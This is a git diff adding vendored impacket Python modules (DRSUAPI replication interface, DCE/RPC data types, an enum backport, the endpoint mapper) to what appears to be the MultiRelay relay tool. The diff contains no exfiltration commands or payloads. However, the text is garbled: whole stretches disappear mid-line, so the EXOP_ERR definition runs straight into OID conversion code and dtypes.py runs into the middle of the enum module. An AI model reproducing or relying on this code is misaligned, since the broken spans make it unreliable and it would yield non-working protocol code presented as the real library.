resp + +def hDhcpEnumSubnetClientsVQ(dce, preferredMaximum=0xffffffff): + request = DhcpEnumSubnetClientsVQ() + + request['ServerIpAddress'] = NULL + request['SubnetAddress'] = NULL + request['ResumeHandle'] = NULL + request['PreferredMaximum'] = preferredMaximum + status = system_errors.ERROR_MORE_DATA + while status == system_errors.ERROR_MORE_DATA: + try: + resp = dce.request(request) + except DCERPCException as e: + if str(e).find('STATUS_MORE_ENTRIES') < 0: + raise + resp = e.get_packet() + return resp + +def hDhcpEnumSubnetClientsV4(dce, preferredMaximum=0xffffffff): + request = DhcpEnumSubnetClientsV4() + + request['ServerIpAddress'] = NULL + request['SubnetAddress'] = NULL + request['ResumeHandle'] = NULL + request['PreferredMaximum'] = preferredMaximum + status = system_errors.ERROR_MORE_DATA + while status == system_errors.ERROR_MORE_DATA: + try: + resp = dce.request(request) + except DCERPCException as e: + if str(e).find('STATUS_MORE_ENTRIES') < 0: + raise + resp = e.get_packet() + return resp + +def hDhcpEnumSubnetClientsV5(dce, subnetAddress=0, preferredMaximum=0xffffffff): + request = DhcpEnumSubnetClientsV5() + + request['ServerIpAddress'] = NULL + request['SubnetAddress'] = subnetAddress + request['ResumeHandle'] = NULL + request['PreferredMaximum'] = preferredMaximum + status = system_errors.ERROR_MORE_DATA + while status == system_errors.ERROR_MORE_DATA: + try: + resp = dce.request(request) + except DCERPCSessionError as e: + if str(e).find('STATUS_MORE_ENTRIES') < 0: + raise + resp = e.get_packet() + return resp + +def hDhcpEnumSubnetElementsV5(dce, subnet_address, element_type=DHCP_SUBNET_ELEMENT_TYPE.DhcpIpRanges, preferredMaximum=0xffffffff): + request = DhcpEnumSubnetElementsV5() + + request['ServerIpAddress'] = NULL + request['SubnetAddress'] = subnet_address + request['EnumElementType'] = element_type + request['ResumeHandle'] = NULL + request['PreferredMaximum'] = preferredMaximum + + status = system_errors.ERROR_MORE_DATA + while status == system_errors.ERROR_MORE_DATA: + try: + resp = dce.request(request) + except DCERPCException as e: + if str(e).find('ERROR_NO_MORE_ITEMS') < 0: + raise + resp = e.get_packet() + return resp diff --git a/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/drsuapi.py b/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/drsuapi.py new file mode 100644 index 0000000..1671aa4 --- /dev/null +++ b/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/drsuapi.py @@ -0,0 +1,1517 @@ +# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: Alberto Solino (@agsolino) +# +# Description: +# [MS-DRSR] Directory Replication Service (DRS) DRSUAPI Interface implementation +# +# Best way to learn how to use these calls is to grab the protocol standard +# so you understand what the call does, and then read the test case located +# at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC +# +# Some calls have helper functions, which makes it even easier to use. +# They are located at the end of this file. +# Helper functions start with "h". +# There are test cases for them too. +# +from __future__ import division +from __future__ import print_function +from builtins import bytes +import hashlib +from struct import pack +import six +from six import PY2 + +from impacket import LOG +from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRUNION, NDR, NDRENUM +from impacket.dcerpc.v5.dtypes import PUUID, DWORD, NULL, GUID, LPWSTR, BOOL, ULONG, UUID, LONGLONG, ULARGE_INTEGER, LARGE_INTEGER +from impacket import hresult_errors, system_errors +from impacket.structure import Structure +from impacket.uuid import uuidtup_to_bin, string_to_bin +from impacket.dcerpc.v5.enum import Enum +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.krb5 import crypto +from pyasn1.type import univ +from pyasn1.codec.ber import decoder +from impacket.crypto import transformKey + +try: + from Cryptodome.Cipher import ARC4, DES +except Exception: + LOG.critical("Warning: You don't have any crypto installed. You need pycryptodomex") + LOG.critical("See https://pypi.org/project/pycryptodomex/") + +MSRPC_UUID_DRSUAPI = uuidtup_to_bin(('E3514235-4B06-11D1-AB04-00C04FC2DCD2','4.0')) + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + key = self.error_code + if key in hresult_errors.ERROR_MESSAGES: + error_msg_short = hresult_errors.ERROR_MESSAGES[key][0] + error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1] + return 'DRSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + elif key & 0xffff in system_errors.ERROR_MESSAGES: + error_msg_short = system_errors.ERROR_MESSAGES[key & 0xffff][0] + error_msg_verbose = system_errors.ERROR_MESSAGES[key & 0xffff][1] + return 'DRSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'DRSR SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ +# 4.1.10.2.17 EXOP_ERR Codes +class EXOP_ERR(NDRENUM): + align = 4 + align64 = 4 + structure = ( + ('Data', '= 16384: + # mark it so that it is known to not be the whole lastValue + lowerWord += 32768 + + upperWord = pos + + attrTyp = ATTRTYP() + attrTyp['Data'] = (upperWord << 16) + lowerWord + return attrTyp + +def OidFromAttid(prefixTable, attr): + # separate the ATTRTYP into two parts + upperWord = attr // 65536 + lowerWord = attr % 65536 + + # search in the prefix table to find the upperWord, if found, + # construct the binary OID by appending lowerWord to the end of + # found prefix. + + binaryOID = None + for j, item in enumerate(prefixTable): + if item['ndx'] == upperWord: + binaryOID = item['prefix']['elements'][:item['prefix']['length']] + if lowerWord < 128: + binaryOID.append(pack('B',lowerWord)) + else: + if lowerWord >= 32768: + lowerWord -= 32768 + binaryOID.append(pack('B',(((lowerWord//128) % 128)+128))) + binaryOID.append(pack('B',(lowerWord%128))) + break + + if binaryOID is None: + return None + return str(decoder.decode(b'\x06' + pack('B',(len(binaryOID))) + b''.join(binaryOID), asn1Spec = univ.ObjectIdentifier())[0]) + +if __name__ == '__main__': + prefixTable = [] + oid0 = '1.2.840.113556.1.4.94' + oid1 = '2.5.6.2' + oid2 = '1.2.840.113556.1.2.1' + oid3 = '1.2.840.113556.1.3.223' + oid4 = '1.2.840.113556.1.5.7000.53' + + o0 = MakeAttid(prefixTable, oid0) + print(hex(o0)) + o1 = MakeAttid(prefixTable, oid1) + print(hex(o1)) + o2 = MakeAttid(prefixTable, oid2) + print(hex(o2)) + o3 = MakeAttid(prefixTable, oid3) + print(hex(o3)) + o4 = MakeAttid(prefixTable, oid4) + print(hex(o4)) + jj = OidFromAttid(prefixTable, o0) + print(jj) + jj = OidFromAttid(prefixTable, o1) + print(jj) + jj = OidFromAttid(prefixTable, o2) + print(jj) + jj = OidFromAttid(prefixTable, o3) + print(jj) + jj = OidFromAttid(prefixTable, o4) + print(jj) diff --git a/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/dtypes.py b/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/dtypes.py new file mode 100644 index 0000000..903a9ae --- /dev/null +++ b/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/dtypes.py @@ -0,0 +1,542 @@ +# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: Alberto Solino (@agsolino) +# +# Description: +# [MS-DTYP] Interface mini implementation +# +from __future__ import division +from __future__ import print_function +from struct import pack +from six import binary_type + +from impacket.dcerpc.v5.ndr import NDRULONG, NDRUHYPER, NDRSHORT, NDRLONG, NDRPOINTER, NDRUniConformantArray, \ + NDRUniFixedArray, NDR, NDRHYPER, NDRSMALL, NDRPOINTERNULL, NDRSTRUCT, \ + NDRUSMALL, NDRBOOLEAN, NDRUSHORT, NDRFLOAT, NDRDOUBLEFLOAT, NULL + +DWORD = NDRULONG +BOOL = NDRULONG +UCHAR = NDRUSMALL +SHORT = NDRSHORT +NULL = NULL + +class LPDWORD(NDRPOINTER): + referent = ( + ('Data', DWORD), + ) + +class PSHORT(NDRPOINTER): + referent = ( + ('Data', SHORT), + ) + +class PBOOL(NDRPOINTER): + referent = ( + ('Data', BOOL), + ) + +class LPBYTE(NDRPOINTER): + referent = ( + ('Data', NDRUniConformantArray), + ) +PBYTE = LPBYTE + +# 2.2.4 BOOLEAN +BOOLEAN = NDRBOOLEAN + +# 2.2.6 BYTE +BYTE = NDRUSMALL + +# 2.2.7 CHAR +CHAR = NDRSMALL +class PCHAR(NDRPOINTER): + referent = ( + ('Data', CHAR), + ) + +class WIDESTR(NDRUniFixedArray): + def getDataLen(self, data, offset=0): + return data.find(b'\x00\x00\x00', offset)+3-offset + + def __setitem__(self, key, value): + if key == 'Data': + try: + self.fields[key] = value.encode('utf-16le') + except UnicodeDecodeError: + import sys + self.fields[key] = value.decode(sys.getfilesystemencoding()).encode('utf-16le') + + self.data = None # force recompute + else: + return NDR.__setitem__(self, key, value) + + def __getitem__(self, key): + if key == 'Data': + return self.fields[key].decode('utf-16le') + else: + return NDR.__getitem__(self,key) + +class STR(NDRSTRUCT): + commonHdr = ( + ('MaximumCount', ' 4) + + +def _is_sunder(name): + """Returns True if a _sunder_ name, False otherwise.""" + return (name[0] == name[-1] == '_' and + name[1:2] != '_' and + name[-2:-1] != '_' and + len(name) > 2) + + +def _make_class_unpicklable(cls): + """Make the given class un-picklable.""" + def _break_on_call_reduce(self): + raise TypeError('%r cannot be pickled' % self) + cls.__reduce__ = _break_on_call_reduce + cls.__module__ = '' + + +class _EnumDict(dict): + """Track enum member order and ensure member names are not reused. + + EnumMeta will use the names found in self._member_names as the + enumeration member names. + + """ + def __init__(self): + super(_EnumDict, self).__init__() + self._member_names = [] + + def __setitem__(self, key, value): + """Changes anything not dundered or not a descriptor. + + If a descriptor is added with the same name as an enum member, the name + is removed from _member_names (this may leave a hole in the numerical + sequence of values). + + If an enum member name is used twice, an error is raised; duplicate + values are not checked for. + + Single underscore (sunder) names are reserved. + + Note: in 3.x __order__ is simply discarded as a not necessary piece + leftover from 2.x + + """ + if pyver >= 3.0 and key == '__order__': + return + if _is_sunder(key): + raise ValueError('_names_ are reserved for future Enum use') + elif _is_dunder(key): + pass + elif key in self._member_names: + # descriptor overwriting an enum? + raise TypeError('Attempted to reuse key: %r' % key) + elif not _is_descriptor(value): + if key in self: + # enum overwriting a descriptor? + raise TypeError('Key already defined as: %r' % self[key]) + self._member_names.append(key) + super(_EnumDict, self).__setitem__(key, value) + + +# Dummy value for Enum as EnumMeta explicitly checks for it, but of course until +# EnumMeta finishes running the first time the Enum class doesn't exist. This +# is also why there are checks in EnumMeta like `if Enum is not None` +Enum = None + + +class EnumMeta(type): + """Metaclass for Enum""" + @classmethod + def __prepare__(metacls, cls, bases): + return _EnumDict() + + def __new__(metacls, cls, bases, classdict): + # an Enum class is final once enumeration items have been defined; it + # cannot be mixed with other types (int, float, etc.) if it has an + # inherited __new__ unless a new __new__ is defined (or the resulting + # class will fail). + if type(classdict) is dict: + original_dict = classdict + classdict = _EnumDict() + for k, v in original_dict.items(): + classdict[k] = v + + member_type, first_enum = metacls._get_mixins_(bases) + #if member_type is object: + # use_args = False + #else: + # use_args = True + __new__, save_new, use_args = metacls._find_new_(classdict, member_type, + first_enum) + # save enum items into separate mapping so they don't get baked into + # the new class + members = dict((k, classdict[k]) for k in classdict._member_names) + for name in classdict._member_names: + del classdict[name] + + # py2 support for definition order + __order__ = classdict.get('__order__') + if __order__ is None: + __order__ = classdict._member_names + if pyver < 3.0: + order_specified = False + else: + order_specified = True + else: + del classdict['__order__'] + order_specified = True + if pyver < 3.0: + __order__ = __order__.replace(',', ' ').split() + aliases = [name for name in members if name not in __order__] + __order__ += aliases + + # check for illegal enum names (any others?) + invalid_names = set(members) & set(['mro']) + if invalid_names: + raise ValueError('Invalid enum member name(s): %s' % ( + ', '.join(invalid_names), )) + + # create our new Enum type + enum_class = super(EnumMeta, metacls).__new__(metacls, cls, bases, classdict) + enum_class._member_names_ = [] # names in random order + enum_class._member_map_ = {} # name->value map + enum_class._member_type_ = member_type + + # Reverse value->name map for hashable values. + enum_class._value2member_map_ = {} + + # check for a __getnewargs__, and if not present sabotage + # pickling, since it won't work anyway + if (member_type is not object and + member_type.__dict__.get('__getnewargs__') is None + ): + _make_class_unpicklable(enum_class) + + # instantiate them, checking for duplicates as we go + # we instantiate first instead of checking for duplicates first in case + # a custom __new__ is doing something funky with the values -- such as + # auto-numbering ;) + if __new__ is None: + __new__ = enum_class.__new__ + for member_name in __order__: + value = members[member_name] + if not isinstance(value, tuple): + args = (value, ) + else: + args = value + if member_type is tuple: # special case for tuple enums + args = (args, ) # wrap it one more time + if not use_args or not args: + enum_member = __new__(enum_class) + if not hasattr(enum_member, '_value_'): + enum_member._value_ = value + else: + enum_member = __new__(enum_class, *args) + if not hasattr(enum_member, '_value_'): + enum_member._value_ = member_type(*args) + value = enum_member._value_ + enum_member._name_ = member_name + enum_member.__objclass__ = enum_class + enum_member.__init__(*args) + # If another member with the same value was already defined, the + # new member becomes an alias to the existing one. + for name, canonical_member in enum_class._member_map_.items(): + if canonical_member.value == enum_member._value_: + enum_member = canonical_member + break + else: + # Aliases don't appear in member names (only in __members__). + enum_class._member_names_.append(member_name) + enum_class._member_map_[member_name] = enum_member + try: + # This may fail if value is not hashable. We can't add the value + # to the map, and by-value lookups for this value will be + # linear. + enum_class._value2member_map_[value] = enum_member + except TypeError: + pass + + # in Python2.x we cannot know definition order, so go with value order + # unless __order__ was specified in the class definition + if not order_specified: + enum_class._member_names_ = [ + e[0] for e in sorted( + [(name, enum_class._member_map_[name]) for name in enum_class._member_names_], + key=lambda t: t[1]._value_ + )] + + # double check that repr and friends are not the mixin's or various + # things break (such as pickle) + if Enum is not None: + setattr(enum_class, '__getnewargs__', Enum.__getnewargs__) + for name in ('__repr__', '__str__', '__format__'): + class_method = getattr(enum_class, name) + obj_method = getattr(member_type, name, None) + enum_method = getattr(first_enum, name, None) + if obj_method is not None and obj_method is class_method: + setattr(enum_class, name, enum_method) + + # method resolution and int's are not playing nice + # Python's less than 2.6 use __cmp__ + + if pyver < 2.6: + + if issubclass(enum_class, int): + setattr(enum_class, '__cmp__', getattr(int, '__cmp__')) + + elif pyver < 3.0: + + if issubclass(enum_class, int): + for method in ( + '__le__', + '__lt__', + '__gt__', + '__ge__', + '__eq__', + '__ne__', + '__hash__', + ): + setattr(enum_class, method, getattr(int, method)) + + # replace any other __new__ with our own (as long as Enum is not None, + # anyway) -- again, this is to support pickle + if Enum is not None: + # if the user defined their own __new__, save it before it gets + # clobbered in case they subclass later + if save_new: + setattr(enum_class, '__member_new__', enum_class.__dict__['__new__']) + setattr(enum_class, '__new__', Enum.__dict__['__new__']) + return enum_class + + def __call__(cls, value, names=None, module=None, type=None): + """Either returns an existing member, or creates a new enum class. + + This method is used both when an enum class is given a value to match + to an enumeration member (i.e. Color(3)) and for the functional API + (i.e. Color = Enum('Color', names='red green blue')). + + When used for the functional API: `module`, if set, will be stored in + the new class' __module__ attribute; `type`, if set, will be mixed in + as the first base class. + + Note: if `module` is not set this routine will attempt to discover the + calling module by walking the frame stack; if this is unsuccessful + the resulting class will not be pickleable. + + """ + if names is None: # simple value lookup + return cls.__new__(cls, value) + # otherwise, functional API: we're creating a new Enum type + return cls._create_(value, names, module=module, type=type) + + def __contains__(cls, member): + return isinstance(member, cls) and member.name in cls._member_map_ + + def __delattr__(cls, attr): + # nicer error message when someone tries to delete an attribute + # (see issue19025). + if attr in cls._member_map_: + raise AttributeError( + "%s: cannot delete Enum member." % cls.__name__) + super(EnumMeta, cls).__delattr__(attr) + + def __dir__(self): + return (['__class__', '__doc__', '__members__', '__module__'] + + self._member_names_) + + @property + def __members__(cls): + """Returns a mapping of member name->value. + + This mapping lists all enum members, including aliases. Note that this + is a copy of the internal mapping. + + """ + return cls._member_map_.copy() + + def __getattr__(cls, name): + """Return the enum member matching `name` + + We use __getattr__ instead of descriptors or inserting into the enum + class' __dict__ in order to support `name` and `value` being both + properties for enum members (which live in the class' __dict__) and + enum members themselves. + + """ + if _is_dunder(name): + raise AttributeError(name) + try: + return cls._member_map_[name] + except KeyError: + raise AttributeError(name) + + def __getitem__(cls, name): + return cls._member_map_[name] + + def __iter__(cls): + return (cls._member_map_[name] for name in cls._member_names_) + + def __reversed__(cls): + return (cls._member_map_[name] for name in reversed(cls._member_names_)) + + def __len__(cls): + return len(cls._member_names_) + + def __repr__(cls): + return "" % cls.__name__ + + def __setattr__(cls, name, value): + """Block attempts to reassign Enum members. + + A simple assignment to the class namespace only changes one of the + several possible ways to get an Enum member from the Enum class, + resulting in an inconsistent Enumeration. + + """ + member_map = cls.__dict__.get('_member_map_', {}) + if name in member_map: + raise AttributeError('Cannot reassign members.') + super(EnumMeta, cls).__setattr__(name, value) + + def _create_(cls, class_name, names=None, module=None, type=None): + """Convenience method to create a new Enum class. + + `names` can be: + + * A string containing member names, separated either with spaces or + commas. Values are auto-numbered from 1. + * An iterable of member names. Values are auto-numbered from 1. + * An iterable of (member name, value) pairs. + * A mapping of member name -> value. + + """ + metacls = cls.__class__ + if type is None: + bases = (cls, ) + else: + bases = (type, cls) + classdict = metacls.__prepare__(class_name, bases) + __order__ = [] + + # special processing needed for names? + if isinstance(names, str): + names = names.replace(',', ' ').split() + if isinstance(names, (tuple, list)) and isinstance(names[0], str): + names = [(e, i+1) for (i, e) in enumerate(names)] + + # Here, names is either an iterable of (name, value) or a mapping. + for item in names: + if isinstance(item, str): + member_name, member_value = item, names[item] + else: + member_name, member_value = item + classdict[member_name] = member_value + __order__.append(member_name) + # only set __order__ in classdict if name/value was not from a mapping + if not isinstance(item, str): + classdict['__order__'] = ' '.join(__order__) + enum_class = metacls.__new__(metacls, class_name, bases, classdict) + + # TODO: replace the frame hack if a blessed way to know the calling + # module is ever developed + if module is None: + try: + module = _sys._getframe(2).f_globals['__name__'] + except (AttributeError, ValueError): + pass + if module is None: + _make_class_unpicklable(enum_class) + else: + enum_class.__module__ = module + + return enum_class + + @staticmethod + def _get_mixins_(bases): + """Returns the type for creating enum members, and the first inherited + enum class. + + bases: the tuple of bases that was given to __new__ + + """ + if not bases or Enum is None: + return object, Enum + + + # double check that we are not subclassing a class with existing + # enumeration members; while we're at it, see if any other data + # type has been mixed in so we can use the correct __new__ + member_type = first_enum = None + for base in bases: + if (base is not Enum and + issubclass(base, Enum) and + base._member_names_): + raise TypeError("Cannot extend enumerations") + # base is now the last base in bases + if not issubclass(base, Enum): + raise TypeError("new enumerations must be created as " + "`ClassName([mixin_type,] enum_type)`") + + # get correct mix-in type (either mix-in type of Enum subclass, or + # first base if last base is Enum) + if not issubclass(bases[0], Enum): + member_type = bases[0] # first data type + first_enum = bases[-1] # enum type + else: + for base in bases[0].__mro__: + # most common: (IntEnum, int, Enum, object) + # possible: (, , + # , , + # ) + if issubclass(base, Enum): + if first_enum is None: + first_enum = base + else: + if member_type is None: + member_type = base + + return member_type, first_enum + + if pyver < 3.0: + @staticmethod + def _find_new_(classdict, member_type, first_enum): + """Returns the __new__ to be used for creating the enum members. + + classdict: the class dictionary given to __new__ + member_type: the data type whose __new__ will be used by default + first_enum: enumeration to check for an overriding __new__ + + """ + # now find the correct __new__, checking to see of one was defined + # by the user; also check earlier enum classes in case a __new__ was + # saved as __member_new__ + __new__ = classdict.get('__new__', None) + if __new__: + return None, True, True # __new__, save_new, use_args + + N__new__ = getattr(None, '__new__') + O__new__ = getattr(object, '__new__') + if Enum is None: + E__new__ = N__new__ + else: + E__new__ = Enum.__dict__['__new__'] + # check all possibles for __member_new__ before falling back to + # __new__ + for method in ('__member_new__', '__new__'): + for possible in (member_type, first_enum): + try: + target = possible.__dict__[method] + except (AttributeError, KeyError): + target = getattr(possible, method, None) + if target not in [ + None, + N__new__, + O__new__, + E__new__, + ]: + if method == '__member_new__': + classdict['__new__'] = target + return None, False, True + if isinstance(target, staticmethod): + target = target.__get__(member_type) + __new__ = target + break + if __new__ is not None: + break + else: + __new__ = object.__new__ + + # if a non-object.__new__ is used then whatever value/tuple was + # assigned to the enum member name will be passed to __new__ and to the + # new enum member's __init__ + if __new__ is object.__new__: + use_args = False + else: + use_args = True + + return __new__, False, use_args + else: + @staticmethod + def _find_new_(classdict, member_type, first_enum): + """Returns the __new__ to be used for creating the enum members. + + classdict: the class dictionary given to __new__ + member_type: the data type whose __new__ will be used by default + first_enum: enumeration to check for an overriding __new__ + + """ + # now find the correct __new__, checking to see of one was defined + # by the user; also check earlier enum classes in case a __new__ was + # saved as __member_new__ + __new__ = classdict.get('__new__', None) + + # should __new__ be saved as __member_new__ later? + save_new = __new__ is not None + + if __new__ is None: + # check all possibles for __member_new__ before falling back to + # __new__ + for method in ('__member_new__', '__new__'): + for possible in (member_type, first_enum): + target = getattr(possible, method, None) + if target not in ( + None, + None.__new__, + object.__new__, + Enum.__new__, + ): + __new__ = target + break + if __new__ is not None: + break + else: + __new__ = object.__new__ + + # if a non-object.__new__ is used then whatever value/tuple was + # assigned to the enum member name will be passed to __new__ and to the + # new enum member's __init__ + if __new__ is object.__new__: + use_args = False + else: + use_args = True + + return __new__, save_new, use_args + + +######################################################## +# In order to support Python 2 and 3 with a single +# codebase we have to create the Enum methods separately +# and then use the `type(name, bases, dict)` method to +# create the class. +######################################################## +temp_enum_dict = {} +temp_enum_dict['__doc__'] = "Generic enumeration.\n\n Derive from this class to define new enumerations.\n\n" + +def __new__(cls, value): + # all enum instances are actually created during class construction + # without calling this method; this method is called by the metaclass' + # __call__ (i.e. Color(3) ), and by pickle + if type(value) is cls: + # For lookups like Color(Color.red) + value = value.value + #return value + # by-value search for a matching enum member + # see if it's in the reverse mapping (for hashable values) + try: + if value in cls._value2member_map_: + return cls._value2member_map_[value] + except TypeError: + # not there, now do long search -- O(n) behavior + for member in cls._member_map_.values(): + if member.value == value: + return member + raise ValueError("%s is not a valid %s" % (value, cls.__name__)) +temp_enum_dict['__new__'] = __new__ +del __new__ + +def __repr__(self): + return "<%s.%s: %r>" % ( + self.__class__.__name__, self._name_, self._value_) +temp_enum_dict['__repr__'] = __repr__ +del __repr__ + +def __str__(self): + return "%s.%s" % (self.__class__.__name__, self._name_) +temp_enum_dict['__str__'] = __str__ +del __str__ + +def __dir__(self): + added_behavior = [m for m in self.__class__.__dict__ if m[0] != '_'] + return (['__class__', '__doc__', '__module__', 'name', 'value'] + added_behavior) +temp_enum_dict['__dir__'] = __dir__ +del __dir__ + +def __format__(self, format_spec): + # mixed-in Enums should use the mixed-in type's __format__, otherwise + # we can get strange results with the Enum name showing up instead of + # the value + + # pure Enum branch + if self._member_type_ is object: + cls = str + val = str(self) + # mix-in branch + else: + cls = self._member_type_ + val = self.value + return cls.__format__(val, format_spec) +temp_enum_dict['__format__'] = __format__ +del __format__ + + +#################################### +# Python's less than 2.6 use __cmp__ + +if pyver < 2.6: + + def __cmp__(self, other): + if type(other) is self.__class__: + if self is other: + return 0 + return -1 + return NotImplemented + raise TypeError("unorderable types: %s() and %s()" % (self.__class__.__name__, other.__class__.__name__)) + temp_enum_dict['__cmp__'] = __cmp__ + del __cmp__ + +else: + + def __le__(self, other): + raise TypeError("unorderable types: %s() <= %s()" % (self.__class__.__name__, other.__class__.__name__)) + temp_enum_dict['__le__'] = __le__ + del __le__ + + def __lt__(self, other): + raise TypeError("unorderable types: %s() < %s()" % (self.__class__.__name__, other.__class__.__name__)) + temp_enum_dict['__lt__'] = __lt__ + del __lt__ + + def __ge__(self, other): + raise TypeError("unorderable types: %s() >= %s()" % (self.__class__.__name__, other.__class__.__name__)) + temp_enum_dict['__ge__'] = __ge__ + del __ge__ + + def __gt__(self, other): + raise TypeError("unorderable types: %s() > %s()" % (self.__class__.__name__, other.__class__.__name__)) + temp_enum_dict['__gt__'] = __gt__ + del __gt__ + + +def __eq__(self, other): + if type(other) is self.__class__: + return self is other + return NotImplemented +temp_enum_dict['__eq__'] = __eq__ +del __eq__ + +def __ne__(self, other): + if type(other) is self.__class__: + return self is not other + return NotImplemented +temp_enum_dict['__ne__'] = __ne__ +del __ne__ + +def __getnewargs__(self): + return (self._value_, ) +temp_enum_dict['__getnewargs__'] = __getnewargs__ +del __getnewargs__ + +def __hash__(self): + return hash(self._name_) +temp_enum_dict['__hash__'] = __hash__ +del __hash__ + +# _RouteClassAttributeToGetattr is used to provide access to the `name` +# and `value` properties of enum members while keeping some measure of +# protection from modification, while still allowing for an enumeration +# to have members named `name` and `value`. This works because enumeration +# members are not set directly on the enum class -- __getattr__ is +# used to look them up. + +@_RouteClassAttributeToGetattr +def name(self): + return self._name_ +temp_enum_dict['name'] = name +del name + +@_RouteClassAttributeToGetattr +def value(self): + return self._value_ +temp_enum_dict['value'] = value +del value + +Enum = EnumMeta('Enum', (object, ), temp_enum_dict) +del temp_enum_dict + +# Enum has now been created +########################### + +class IntEnum(int, Enum): + """Enum where members are also (and must be) ints""" + + +def unique(enumeration): + """Class decorator that ensures only unique members exist in an enumeration.""" + duplicates = [] + for name, member in enumeration.__members__.items(): + if name != member.name: + duplicates.append((name, member.name)) + if duplicates: + duplicate_names = ', '.join( + ["%s -> %s" % (alias, name) for (alias, name) in duplicates] + ) + raise ValueError('duplicate names found in %r: %s' % + (enumeration, duplicate_names) + ) + return enumeration diff --git a/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/epm.py b/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/epm.py new file mode 100644 index 0000000..d795d36 --- /dev/null +++ b/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/epm.py @@ -0,0 +1,1383 @@ +# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: Alberto Solino (@agsolino) +# +# Description: +# [MS-RPCE]-C706 Interface implementation for the remote portmapper +# +# Best way to learn how to use these calls is to grab the protocol standard +# so you understand what the call does, and then read the test case located +# at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC +# +# Some calls have helper functions, which makes it even easier to use. +# They are located at the end of this file. +# Helper functions start with "h". +# There are test cases for them too. +# +import socket +from struct import unpack +from six import b + +from impacket.uuid import uuidtup_to_bin, bin_to_string +from impacket.dcerpc.v5 import transport +from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantVaryingArray, NDRUniVaryingArray, \ + NDRUniConformantArray +from impacket.dcerpc.v5.dtypes import UUID, LPBYTE, PUUID, ULONG, USHORT +from impacket.structure import Structure +from impacket.dcerpc.v5.ndr import NULL +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket import LOG + +MSRPC_UUID_PORTMAP = uuidtup_to_bin(('E1AF8308-5D1F-11C9-91A4-08002B14A0FA', '3.0')) + +class DCERPCSessionError(DCERPCException): + error_messages = {} + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + self.error_code = packet['status'] + + def __str__( self ): + key = self.error_code + if key in self.error_messages: + error_msg_short = self.error_messages[key] + return 'EPM SessionError: code: 0x%x - %s ' % (self.error_code, error_msg_short) + else: + return 'EPM SessionError: unknown error code: %s' % (str(self.error_code)) + +################################################################################ +# CONSTANTS +################################################################################ + +KNOWN_UUIDS = { +b"\xb0\x01\x52\x97\xca\x59\xd0\x11\xa8\xd5\x00\xa0\xc9\x0d\x80\x51\x01\x00": "rpcss.dll", +b"\xf1\x8f\x37\xc9\xf7\x16\xd0\x11\xa0\xb2\x00\xaa\x00\x61\x42\x6a\x01\x00": "pstorsvc.dll", +b"\xd4\xa7\x72\x0d\x48\x61\xd1\x11\xb4\xaa\x00\xc0\x4f\xb6\x6e\xa0\x01\x00": "cryptsvc.dll", +b"\x40\x4e\x9f\x8d\x3d\xa0\xce\x11\x8f\x69\x08\x00\x3e\x30\x05\x1b\x01\x00": "services.exe", +b"\xc5\x86\x5a\xda\xc2\x12\x43\x49\xab\x30\x7f\x74\xa8\x13\xd8\x53\x01\x00": "regsvc.dll", +b"\x29\x07\x8a\xfb\x04\x2d\x58\x46\xbe\x93\x27\xb4\xad\x55\x3f\xac\x01\x00": "lsass.exe", +b"\x04\xf7\xd9\x52\xc6\xd3\x48\x47\xad\x11\x25\x50\x20\x9e\x80\xaf\x00\x00": "IMEPADSM.DLL", +b"\xce\xad\x21\xc4\xb2\xa0\x0d\x48\x84\x18\x98\x44\x95\xb3\x2d\x5f\x01\x00": "SLsvc.exe", +b"\x14\xb5\xfb\xd3\x3b\x0e\xcb\x11\x8f\xad\x08\x00\x2b\x1d\x29\xc3\x01\x00": "locator.exe", +b"\x6f\x40\x1c\xf6\x60\xbd\x94\x41\x95\x65\xbf\xed\xd5\x25\x6f\x70\x01\x00": "p2phost.exe", +b"\x72\x33\x3d\xc1\x20\xcc\x49\x44\x9b\x23\x8c\xc8\x27\x1b\x38\x85\x01\x00": "rpcrt4.dll", +b"\x70\xfe\x5a\xd9\xd5\xa6\x59\x42\x82\x2e\x2c\x84\xda\x1d\xdb\x0d\x01\x00": "wininit.exe", +b"\x6a\x07\x2d\x55\x29\xcb\x44\x4e\x8b\x6a\xd1\x5e\x59\xe2\xc0\xaf\x01\x00": "iphlpsvc.dll", +b"\x95\x4f\x25\xd4\xc3\x08\xcc\x4f\xb2\xa6\x0b\x65\x13\x77\xa2\x9d\x01\x00": "wwansvc.dll", +b"\x43\x9a\x89\x11\x68\x2b\x76\x4a\x92\xe3\xa3\xd6\xad\x8c\x26\xce\x01\x00": "lsm.exe", 